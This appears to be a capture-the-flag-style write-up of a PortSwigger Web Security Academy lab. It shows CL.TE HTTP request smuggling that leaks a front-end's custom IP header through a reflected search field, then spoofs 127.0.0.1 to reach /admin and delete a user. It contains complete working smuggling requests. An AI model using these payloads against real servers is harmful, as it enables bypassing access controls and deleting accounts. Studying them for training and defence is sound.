Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type HTTP Request Smuggling — CL.TE, Header Exfiltration
Difficulty Practitioner
Objective Discover the custom IP header added by the front-end, then use it with 127.0.0.1 to access /admin and delete carlos
Note Switch Burp Repeater to HTTP/1. Disable "Update Content-Length."

HTTP Request Smuggling — Revealing Front-End Request Rewriting — Writeup

Navigating to /admin:

Screenshot

Admin interface only available if logged in as an administrator, or if requested from 127.0.0.1

The front-end adds an IP header to every request — something like X-Forwarded-For but with a custom name. The back-end uses that header to check the requester's IP. We need to find the exact header name before we can spoof it.

The blog has a search bar — whatever we search gets reflected in the response inside a <h1> tag. If we can get the front-end's added headers to land in that reflected value, we'll see them.

Intercepting a search request:

POST / HTTP/2
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

search=teto
Screenshot

Switching to HTTP/1 and crafting a CL.TE smuggling payload. The idea: smuggle a partial POST / request whose body starts with search=teto but has an inflated Content-Length. The next real request that arrives will be appended to our smuggled body — including all its headers — and the full concatenated blob ends up as the search term reflected in the response.

POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 11

search=teto

Inflating the inner Content-Length to 70 forces the back-end to wait for more data — the next incoming request gets pulled in and appended to search=teto. The response reflects:

<h1>0 search results for 'tetoPOST / HTTP/1.1

X-rvcNlx-Ip: 181.236.77.13

Host: 0a6c0018'</h1>
Screenshot

The custom header is X-rvcNlx-Ip. The front-end is injecting it with our real IP. Now we spoof it with 127.0.0.1.

Accessing Admin with the Spoofed Header

POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-rvcNlx-Ip: 127.0.0.1
Content-Length: 70

search=teto
Screenshot

Admin panel returns. The body reveals the delete endpoint: /admin/delete?username=carlos.

Deleting Carlos

Updating the smuggled path and adjusting the outer Content-Length:

POST / HTTP/1.1
Host: 0a6c00180459491a8580c770003900de.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-rvcNlx-Ip: 127.0.0.1
Content-Length: 70

search=teto
Screenshot

this will delete carlos and solve the lab :p


Resources